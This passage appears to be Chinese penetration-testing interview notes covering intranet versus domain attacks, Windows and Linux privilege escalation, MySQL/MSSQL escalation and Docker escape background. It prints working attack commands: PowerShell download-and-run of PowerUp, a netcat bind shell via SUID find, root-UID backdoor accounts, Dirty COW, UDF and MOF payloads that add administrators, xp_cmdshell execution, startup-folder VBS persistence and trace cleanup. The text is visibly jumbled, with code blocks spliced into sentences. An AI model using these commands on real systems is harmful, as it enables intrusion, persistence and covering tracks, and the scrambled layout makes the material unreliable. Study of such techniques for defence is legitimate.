4.如果攻击成功,可以在内网中执行其他攻击,如横向移动、数据收集、漏洞利用等。
二十、说一下内网渗透和域渗透的一个区别和渗透方式#
内网渗透和域渗透的主要区别在于攻击的目标范围不同。内网渗透的目标是内网中的单个主机或一组主机,而域渗透的目标是域控制器及其#
下属的所有主机和用户。 内网渗透的方式通常是从外部网络中获取一个可以访问内网的系统,然后利用漏洞或者社工等手段获取内网中的权#
限,通过横向移动的方式渗透到其他主机。 而域渗透的方式则需要先获取域的管理员权限,然后可以通过域管理工具(如Active Directory Users and Computers)管理域中的用户和计算机,或者使用域内主机上的凭据攻击其他主机。 总的来说,内网渗透和域渗透都需要掌握渗 透测试的基础技术,例如端口扫描、漏洞扫描、漏洞利用、密码破解、社交工程等。需要根据具体情况选择合适的渗透测试方法和工具,同 时也需要遵守相关法律法规,只在合法授权的情况下进行渗透测试。
二十一、给你一个不出网的 linux 服务器,当前权限为 iis ,怎么渗透?#
首先,需要澄清一个概念,IIS是Windows平台下的Web 服务器,而Linux平台下的Web服务器是Apache或Nginx等。因此,假如目标服务器 真的是Linux平台下的,那么当前权限为IIS是不可能的。 假如我们重新审视这个问题,假设目标服务器权限为普通用户,并且运行着Linux系 统,那么可以通过以下步骤渗透到更高权限:
1.端口扫描: 使用端口扫描工具(如nmap)扫描目标主机上开放的端口,以便发现目标主机上提供的服务或应用程序。
2.漏洞扫描: 使用漏洞扫描工具(如Nessus、OpenVAS)扫描目标主机上存在的漏洞,以便发现可以利用的漏洞。
3.密码破解: 如果目标用户使用弱密码,可以通过密码破解工具(如Hydra、John the Ripper)破解目标用户的密码。
4.提权: 如果攻击者成功获取了目标用户的密码,可以使用提权工具(如Sudo、su)提升自己的权限,从而获取更高的权限。
二十二、内网漫游以及如何提权?#
常用的提权方法:#
1.系统内核溢出提权#
2.数据库提权#
3.错误的系统配置提权#
4.组策略首选项提权#
5.DLL劫持提权#
6.滥用高权限令牌提权#
7.第三方软件/服务提权#
一、Windows系统内核溢出漏洞提权#
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所#
以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利#
用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。#
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞 的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程 序,溢出Administrator权限。
拿到一个普通shell后可以尝试MSF的getsystem,虽然基本成功不了。
1.手动查找系统潜在漏洞#
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo或wmic qfe get caption,description,hotfixid,installedon
然后借助提权辅助站点如https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜 索可用exp
2.使用Windows-Exploit-Suggester#
1 ./windows-exploit-suggester.py –update 2 使用systeminfo获取系统信息,将其保存,如test.txt 3 ./windows-exploit-suggester.py –database 2021-05-28-mssb.xls –systeminfo test.txt
3.使用sherlock 脚本#
1 输入Import-Module .\Sherlock.ps1导入脚本 2 输入Find-AllVulns 扫描
4.还可以用msf的enum_patches模块#
执行命令#
5.还有msf的local_exploit_suggester模块#
执行命令#
二.系统服务权限配置错误#
windows操作系统中的常见配置错误包括: 1.管理员凭证配置错误 2.服务配置错误 3.故意削弱的安全措施 4.用户权限过高
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执 行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的, 因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务。 系统服务权限配置错误有如下两种可能: 服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务。 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权。
1.使用PowerUP脚本#
使用方法:#
1.Import-Module .\1.ps1 导入模块
2.Invoke-AllChecks 查询服务
3.根据提示输入语句即可
另外提供了多种使用方式
use multi/handler
use post/windows/gather/enum_patches
show options
set SESSIONuse post/multi/recon/local_exploit_suggester
set session 1
run2.msf(service_permissions)模块#
使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进 行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。
3.注册表键AlwaysInstallElevated#
注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限 运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
反正网上提供这种方式,我只在 2000 成功过,高一点版本我成功不了
4.可信任服务路径漏洞#
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。 如果我们能利用这一特性,就有机会进行权限提升。 例如,有如下的文件路径:
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有 可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
(PS:老版本可以通过路径上有无“ ”来判断是否可操作)#
此时如果在C盘传入program.exe文件,则会执行这个文件,以此类推。 操作步骤 1.执行wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\” 探测符合条件的服务 2.确认该目录是否可写 3.重启服务
msf对应trusted_service_path模块(网上说不是提权了是其他的任意执行)我这种菜鸡暂时没感觉到差别,能提权就行。
5.自动配置文件#
域的好处之一就是可以统一配置多台服务器,网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部#
署。#
在这个过程中,会使用安装配置文件。#
这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。#
搜索文件名为sysprep或unattend,后缀为.inf、.xml、inf的文件,如dir /b /s C:\Unattend.xml
msf对应post/windows/gather/enum_unattend模块
6.计划任务#
Windows 计划任务程序 是定义为触发器执行操作。
查看本机计划任务
在大多数情况下,计划任务是以 NT Authority\System 高权限执行的。
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/Po
werUp.ps1'); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-
AllChecks”exploit/windows/local/service_permissions
show options
set session 2C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exeC:\Program
C:\Program Files (x86)\Razer
C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exesc stop service_name
sc start service_nameschtasks /query /fo LIST /v因此,如果计划任务要执行的是一个二进制,而且二进制文件可以用任意一个二进制文件覆盖,则可能会导致特权提升。#
我没那个本事玩,只能靠msf这个样子。
7.绕过UAC提权#
详情请见谢公子的绕过UAC提权那一章#
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算 机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶 意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。
需要UAC的授权才能进行的操作列表如下: 配置Windows Update 增加、删除账户 更改账户类型 更改UAC的设置 安装ActiveX 安装、卸载程序 安装设备驱动程序 将文件移动/复制到Program Files或Windows目录下 查看其它用户的文件夹
使用MSF下的Bypass模块
MSF中Bypassuac模块的使用前提有两个:
一是系统当前用户必须在管理员组中, 二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
8.一些其他模块#
msf(ask)模块 使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求 的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。
Nishang中的Invoke-PsUACme模块 Empire中的bypassuac(_wscript)模块
三、令牌窃取#
1.直接获取#
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请#
求进程时,漏洞就会出现。#
假设MSF已经获得shell 可以进入模块
可以看到两种令牌#
用此命令假冒用户获得权限#
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很
低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被
杀毒软件检测出来的概率。use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾use incognito #进入incognito模块
list_tokens -u #列出令牌Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。impersonate_token "NT AUTHORITY\\SYSTEM"2.烂土豆提权#
使用msf的ms16-075
下载上传https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
然后跟上边的令牌窃取一个意思,就是上传完exe之后执行,再去获得令牌。
3.无凭证下的权限提升#
https://blog.csdn.net/whatday/article/details/107698144 参考这篇文章吧,我是废物。
四、linux系统提权#
参考链接参考渗透测试中的提权思路(详细!)#
信息收集的一些命令#
!!!!!注意如过上传了文件什么的可以增加一条命令chmod 777 ,需要进行编译的先进行编译 提权完可以添加ssh用户useradd -o -u 0 -g 0 username
1.内核漏洞提权#
先拿到shell之后通过信息收集方式得知linux内核版本使用searchspolit搜索相应版本漏洞 列入搜索
找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget http://127.0.0.1/xx.c 编译,gcc xxx.c -o exp
2.脏牛内核提权#
利用只读文件映射区域写数据时,会使用get_user_page内核函数处理产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原 来的文件,但这里通过条件竞争就能使其任务执行顺序异常,就会成功的写到原来的文件中。比如我们修改su或者passwd程序就可以达到 提权root的目的 先查看内核版本uname -a查看内核版本
Linux内核 >= 2.6.22( 2007 年发行,到 2016 年 10 月 18 日才修复) https://github.com/FireFart/dirtycow,将C文件编译执行:
3.suid提权#
SUID(设置用户ID)是赋予文件的一种权限,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID#
权限,那么就可以利用系统中的二进制文件和工具来进行root提权。已知的可用来提权的linux可行性的文件列表如下:
use exploit/windows/local/ms16_075_reflection
show options
set session 1
exploituse incognito //枚举有哪些用户的进程,一般有用户和system用户
list_tokens -u
execute -cH -f ./rottenpotato.exe //上传rottenpotato.exe并执行提权
impersonate_token “NT AUTHORITY\\SYSTEM”uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux | grep root
//aux都是参数a = show processes for all users 显示所有用户的进程u = display the process's user/owner 显示用户x =
also show processes not attached to a terminal 显示无控制终端的进程searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10gcc -pthread dirty.c -o dirty -lcrypt//-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现(动态库)
//-o 为编译后输出的文件名
//-l crypt 加载crypt库./dirty 密码:
//可以直接 ./dirtu 密码首先在本地查找符合条件的文件,有以下三个命令,列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
例如可以找到nmap
1.find命令提权
由于大多数Linux操作系统都安装了netcat,因此可以将提权后的命令提升为root shell。
监听返回就可以得到一个rootshell
2.nmap提权
较旧版本的nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表 中,因此可以使用交互式控制台来运行具有相同权限的shell。
先查看版本
方法一:#
启动交互模式,使用#
!sh #执行之后将提供一个提权后的shell。 启动交互模式后可以执行命令列如
方法二:#
Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。
3.vim提权
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作
nmap
vim
find
bash
more
less
nano
cpfind / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmaptouch xxxx
find xxxx -exec whoami ;find xxxx -exec netcat -lvp 5555 -e /bin/sh ;nmap -Vnmap --interactivenmap> !shexploit/unix/local/setuid_nmapvim.tiny /etc/shadowvim.tiny
# Press ESC key
:set shell=/bin/sh
:shell4.bash提权
以下命令将以root身份打开一个bash shell
5.less命令
适用于其他命令
6.sudo提权
在Linux中,有时为了让普通用户获得root的执行权限,除了su -永久提权方法,还有一种常用的方法,就是sudo,sudo的工作过程如下:
其实就是vim /etc/sudoers进入编辑界面,然后给其他用户增加sudo的执行权限。
五、数据库提权#
1.udf提权#
udf(user defined function)用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或 concat()。 mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。 在windows2000放在:c:\winnt\system32 mysql版本大于5.1版本,udf.dll文件必须放置在mysql根(通过select @@basedir可知)目录下的lib\plugin。但是大于5.1版本的时候没有 plugin这个文件夹,需要自己创建。
假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的 mysql函数 引入函数
执行命令#
在 sqlmap\udf\mysql\windows目录下存放着lib_mysqludf_sys.dll_ 但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。 可以利用sqlmap 自带的解码工具cloak.py 目录 sqlmap\extra\cloak\cloak.py 对 lib_mysqludf_sys.dll_ 解码后,再直接利用
执行命令
然后将获得的udf.dll文件转换成 16 进制,一种思路是在本地使用mysql函数hex
要删除函数的话:#
bash -pless /etc/passwd
!/bin/sh( 1 )当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限
( 2 )确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认
( 3 )若密码输入成功,则开始执行sudo后续的命令DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';select sys_eval('cmd command');
下面可以增加用户增加权限之类的cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_SELECT
hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c
6c)) into dumpfile 'C:\\Users\\xxxx\\Desktop\\text.txt';
load_file中的十六进制是C:\\Users\\xxxx\\Desktop\\lib_mysqludf_sys.dll- CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
- INSERT INTO udftmp values(unhex(‘udf文件的 16 进制格式’)); //在udftmp中写入udf文件内容
drop function function_name;
eg:drop function cmdshell;!!!!!5.1以上都说用ntfs数据流创建lib/plugin文件夹。
2.mof提权#
mof文件是mysql数据库的扩展文件,存放在(C:/windows/system32/wbem/mof/nullevt.mof)它的作用是每隔一段时间就会去监控进程 创建和死亡,mof当中是一段vbs脚本(基于Visual Basic的脚本语言,简单可行性强,易写成病毒或者整人的代码),通过通过控制vbs脚本让 系统执行命令,进行提权。
条件为
windows2003及以下 mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录 secure-file-priv=不为null
编写mof文件 text.mof
然后导入文件#
成功执行之后,会在c:/windows/system32/wbem/mof/good/目录下多出个test.mof文件。如果mof文件不能执行,则会在 c:/windows/system32/wbem/mof/bad/目录下多出个test.mof文件。
将提权脚本中添加用户命令修改为提升至administrators组:net.exe localgroup administrators text /add,再次上传并导入。为了更高的 成功率,我们必须分开两次导入该脚本。第一次为添加用户,第二次对添加的用户进行提权。
提权成功后清理痕迹#
!!!!!所有读写命令前提是secure-file-priv选项为空
3.mssql提权#
获取数据库密码#
翻配置文件。conn.asp(asp站点) ,web.config(aspx站点) , db.inc
暴力破解。
sa权限利用 微软的SQL Server在提权过程中往往也会给我们很大帮助,尤其是当找到SA用户的密码时,系统权限就基本到手了
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user text 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};select load_file(“G:/test/nullevt.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”添加用户
net.exe user text 123 /add对添加的用户进行提权
net.exe localgroup administrators text /addxp_cmdshell 得到SA权限后,我们用的最多的是“xp_cmdshell”这个扩展存储直接执行命令,具体步骤如下:
开启xp_cmdshell
2.执行命令#
从SQL Server 2005 开始,xp_cmdshell默认是禁用的,而且执行xp_cmdshell可能会触发安全警报。下面介绍一些其它通过SQL Server 执 行系统命令的方法。
sp_oacreate 在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。
执行命令#
还有个启动项提权.使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器 重启
二十三、内网遇到 docker 环境如何逃逸 ?#
Docker逃逸#
exec xp_cmdshell 'whoami'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt' --执行命令无回显create table a(cmd text); #创建a表,表中只存放一个字段cmd,为text文本
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)"); #添加用户密码,注意双引号和括号
以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)"); #加入
administrators组
select * from a;查询有没有写入
select * from a into outfile "C:\\Users\\zth\\AppData\\Roaming\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\a.vbs" #把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“\”符号前言#
Docker 逃逸在渗透测试中面向的场景大概是这样,渗透拿到shell后,发现主机是docker环境,要进一步渗透,就必须逃逸到“直接宿主 机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。
环境判断
检查根目录下是否存在.dockerenv文件[[外链图片转存中...(img-ex9Jb6T6-1671282239670)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-20220324141
324328-43907296.png)
检查 /proc/1/cgroup 是否存在含有docker字符串[[外链图片转存中...(img-1cnYqfyE-1671282239671)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-20220324141
323865-1833560306.png)
检查是否存在container环境变量
通过env \ PATH 来检查是否有docker相关的环境变量,来进一步判断。检测mount、fdisk -l列出所有分区
[[外链图片转存中...(img-bOg4gJxA-1671282239671)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-2022032414
1323597-1765104424.png)
判断PID 1的进程名
[[外链图片转存中...(img-KPOVkYXY-1671282239672)]](https://img2022.cnblogs.com/blog/1964477/202203/1964477-2022032414
1323313-2096638962.png)前置知识
Docker C/S
Docker 是以客户端和守护进程的方式来运行
在 Docker Client (即 Docker 客户端)当中,运行 Docker 各种命令。而这些命令会传递给 Docker 的宿主机上运行的 Docker 的守护进 程。Docker 的守护进程负责实现 Docker 的各种功能。
Docker客户端和守护进程
ls -lacat /proc/1/cgroupenv
env $PATH
setDocker 的守护进程运行在宿主机上(即 C/S 架构的 server 端),守护进程会在运行后一直在后台运行,负责实现 Docker 的各种功能。而 Docker 的使用者并不会与守护进程进程交互,而是通过 Docker 的客户端(即 Docker 命令行接口)与 Docker 守护进程进行通信。Docker 命令行接口(即在 Shell 中执行的二进制程序)是 Docker 的最主要的用户接口,用来从用户处接收 Docker 的命令并且传递给守护进程。而 守护进程将命令执行的结果返回给客户端并显示在命令行接口中。
Remote API
Docker自定义程序和守护进程
Docker 命令行接口虽然是 Docker 的最主要的用户接口,Docker 实际上也提供了另外的与守护进程通信的方式,即 Remote API。它也是 一个 RESTful 风格的 API ,可以通过编写程序调用这个 API 来将自己的程序与 Docker 容器进行集成。
但 Docker 的 REmote API 在某些复杂的情况下也支持 STDIN、STDOUT、STDERR 方式来进行通信和交互。更多关于 API 的详细信息查看 官网 Engine API v1.24 。
Docker Daemon 的连接方式
UNIX 域套接字:unix:///var/run/docker.sock (默认)
默认就是这种方式, 会生成一个 /var/run/docker.sock 文件, UNIX 域套接字用于本地进程之间的通讯, 这种方式相比于网络套接字
效率更高, 但局限性就是只能被本地的客户端访问。
tcp 端口监听:tcp://host:port
服务端开启端口监听 dockerd -H IP:PORT , 客户端通过指定IP和端口访问服务端 docker -H IP:PORT 。通过这种方式, 任何人只要
知道了你暴露的ip和端口就能随意访问你的docker服务了, 这是一件很危险的事, 因为docker的权限很高, 不法分子可以从这突破取得服
务端宿主机的最高权限。Docker C/S 运行方式
用户自定义的程序通过 Remote API 调用 Docker 服务。而 Docker 的客户端与 Docker 的服务器端通过 Socket 等进行连接。那么,这种连 接本身意味着 Docker Client 和 Server 既可以在同一台机器上运行,也可以在不同的机器运行,即 Docker Client 可以通过远程的方式访问 Docker Server。
查看 Docker 的守护进程的情况
docker守护进程启动
ps -ef|grep dockersudo service docker statusdocker -d [OPTIONS]
运行相关:
-D,--debug=false
-e,--exec-driver="native"
-g,--graph="/var/bin/docker"
--icc=true
-l,--log-level="info"
-able=[]
-p,--pidfile="/var/run/dpcker.pid"
...
docker 服务器连接相关:
-G,--group="docker"unix socket
unix socket可以让一个程序通过类似处理一个文件的方式和另一个程序通信,这是一种进程间通信的方式(IPC)。
当你在host上安装并且启动好docker,docker daemon 会自动创建一个socket文件并且保存在/var/run/docker.sock目录下。docker daemon监听着socket中即将到来的链接请求(可以通过-H unix:///var/run/docker.sock设定docker daemon监听的socket文件,-H参 数还可以设定监听tcp:port或者其它的unix socket),当一个链接请求到来时,它会使用标准IO来读写数据。
docker.sock 是docker client 和docker daemon 在localhost进行通信的socket文件。
可以直接call这个socket文件来拉去镜像,创建容器,启动容器等一系列操作。(其实就是直接call docker daemon API而不是通过docker client的方式去操控docker daemon)。
[外链图片转存中…(img-lr2He2gw-1671282239672)]
翻译过来就是:–host=[]指定Docker守护程序将在何处侦听客户端连接。如果未指定,则默认为/var/run/docker.sock
所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。
按照上面的解释来推理:我们也可以向/var/run/docker.sock发送请求,也能达到docker ps、docker images这样的效果
docker组件
安装 docker ,其实是安装了 docker 客户端、dockerd 等一系列的组件,其中比较重要的有下面几个。
Docker CLI(docker)
docker 程序是一个客户端工具,用来把用户的请求发送给 docker daemon(dockerd)。
Dockerd
docker daemon(dockerd),docker守护进程,一般也会被称为 docker engine。
Containerd
在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等。
Containerd-shim
-H,--host=[]
--tls=flase
--tlscacert="/home/sven/.docker/ca.pem"
--tlscert="/home/sven/.docker/cert.pem"
--tlskey="/home/sven/.dovker/key.pem"
--tlsverify=false
...
RemoateAPI相关:
--api-enable-cors=false
...
存储相关:
-s,--storage-driver=""
--selinux-enabled=flase
--storage-opt=[]
...
Registry相关:
--insecure-registry=[]
--registry-mirror=[]
...
网络设置相关:
-b,--bridge=""
--bip=""
--fixed-cidr=""
--fixed-cidr-v6=""
--dns=[]
--dns-search=[]
--ip=0.0.0.0
--ip-forward=ture
--ip-masq=ture
--iptables=ture
--ipv6=false
--mtu=0
.../usr/bin/docker/usr/bin/dockerd/usr/bin/docker-containerd它是 containerd 的组件,是容器的运行时载体,主要是用于剥离 containerd 守护进程与容器进程,引入shim,允许runc 在创建和运行容 器之后退出,并将 shim 作为容器的父进程,而不是 containerd 作为父进程,这样做的目的是当 containerd 进程挂掉,由于 shim 还正常 运行,因此可以保证容器不受影响。此外,shim 也可以收集和报告容器的退出状态,不需要 containerd 来 wait 容器进程。我们在 docker 宿主机上看到的 shim 也正是代表着一个个通过调用 containerd 启动的 docker 容器。
RunC
RunC 是一个轻量级的工具,它是用来运行容器的,容器作为 runC 的子进程开启,在不需要运行一个 Docker daemon 的情况下可以嵌入到 其他各种系统,也就是说可以不用通过 docker 引擎,直接运行容器。docker是通过Containerd调用 runC 运行容器的
命名空间#
命名空间(Linux namespace)是linux内核针对实现容器虚拟化映入的一个特性。我们创建的每个容器都有自己的命名空间,运行在其中的 应用都像是在独立的操作系统中运行一样,命名空间保证了容器之间互不影响。
Linux的命名空间机制提供了一种资源隔离的解决方案。PID,IPC,Network等系统资源不再是全局性的,而是属于特定的Namespace。 Namespace是对全局系统资源的一种封装隔离,使得处于不同namespace的进程拥有独立的全局系统资源,改变一个namespace中的系统 资源只会影响当前namespace里的进程,对其他namespace中的进程没有影响。
传统上,在Linux以及其他衍生的UNIX变体中,许多资源是全局管理的。例如,系统中的所有进程按照惯例是通过PID标识的,这意味着内核 必须管理一个全局的PID列表。而且,所有调用者通过uname系统调用返回的系统相关信息(包括系统名称和有关内核的一些信息)都是相 同的。用户ID的管理方式类似,即各个用户是通过一个全局唯一的UID号标识。
全局ID使得内核可以有选择地允许或拒绝某些特权。虽然UID为 0 的root用户基本上允许做任何事,但其他用户ID则会受到限制。例如UID为 n的用户,不允许杀死属于用户m的进程( m≠ n)。但这不能防止用户看到彼此,即用户n可以看到另一个用户m也在计算机上活动。只要 用户只能操纵他们自己的进程,这就没什么问题,因为没有理由不允许用户看到其他用户的进程。
但有些情况下,这种效果可能是不想要的。如果提供Web主机的供应商打算向用户提供Linux计算机的全部访问权限,包括root权限在内。 传统上,这需要为每个用户准备一台计算机,代价太高。使用KVM或VMWare提供的虚拟化环境是一种解决问题的方法,但资源分配做得不 是非常好。计算机的各个用户都需要一个独立的内核,以及一份完全安装好的配套的用户层应用。
命名空间提供了一种不同的解决方案,所需资源较少。在虚拟化的系统中,一台物理计算机可以运行多个内核,可能是并行的多个不同的操 作系统。而命名空间则只使用一个内核在一台物理计算机上运作,前述的所有全局资源都通过命名空间抽象起来。这使得可以将一组进程放 置到容器中,各个容器彼此隔离。隔离可以使容器的成员与其他容器毫无关系。但也可以通过允许容器进行一定的共享,来降低容器之间的 分隔。例如,容器可以设置为使用自身的PID集合,但仍然与其他容器共享部分文件系统。
PID 命名空间
不同用户的进程就是通过 pid 命名空间隔离开的,且不同命名空间中可以有相同 pid。在同一个Namespace中只能看到当前命名空间的
进程。所有的 LXC 进程在 Docker 中的父进程为Docker进程,每个 LXC 进程具有不同的命名空间。同时由于允许嵌套,因此可以很方
便的实现嵌套的 Docker 容器。
NET 命名空间
有了 pid 命名空间, 每个命名空间中的 pid 能够相互隔离,但是网络端口还是共享 host 的端口。网络隔离是通过 net 命名空间实现的,
每个 net 命名空间有独立的网络设备, IP 地址, 路由表, /proc/net 目录。这样每个容器的网络就能隔离开来。Docker 默认采用 veth 的
方式,将容器中的虚拟网卡同 host 上的一 个Docker 网桥 docker0 连接在一起。
IPC 命名空间
容器中进程交互还是采用了 Linux 常见的进程间交互方法(interprocess communication – IPC), 包括信号量、消息队列和共享内存等。
然而同 VM 不同的是,容器的进程间交互实际上还是 host 上具有相同 pid 命名空间中的进程间交互,因此需要在 IPC 资源申请时加入
命名空间信息,每个 IPC 资源有一个唯一的 32 位 id。
MNT 命名空间
类似 chroot,将一个进程放到一个特定的目录执行。mnt 命名空间允许不同命名空间的进程看到的文件结构不同,这样每个命名空间
中的进程所看到的文件目录就被隔离开了。同 chroot 不同,每个命名空间中的容器在 /proc/mounts 的信息只包含所在命名空间的
mount point。
UTS 命名空间
UTS(“UNIX Time-sharing System”) 命名空间允许每个容器拥有独立的 hostname 和 domain name, 使其在网络上可以被视作一个独立
的节点而非 主机上的一个进程。
USER 命名空间
每个容器可以有不同的用户和组 id, 也就是说可以在容器内用容器内部的用户执行程序而非主机上的用户。伪文件系统
Linux内核提供了procfs、sysfs和devfs等文件系统,伪文件系统存在于内存中,通常不占用硬盘空间,它以文 件的形式,向用户提供了访问 系统内核数据的接口。用户和应用程序 可以通过访问这些数据接口,得到系统的信息,而且内核允许用户修改内核的某些参数。
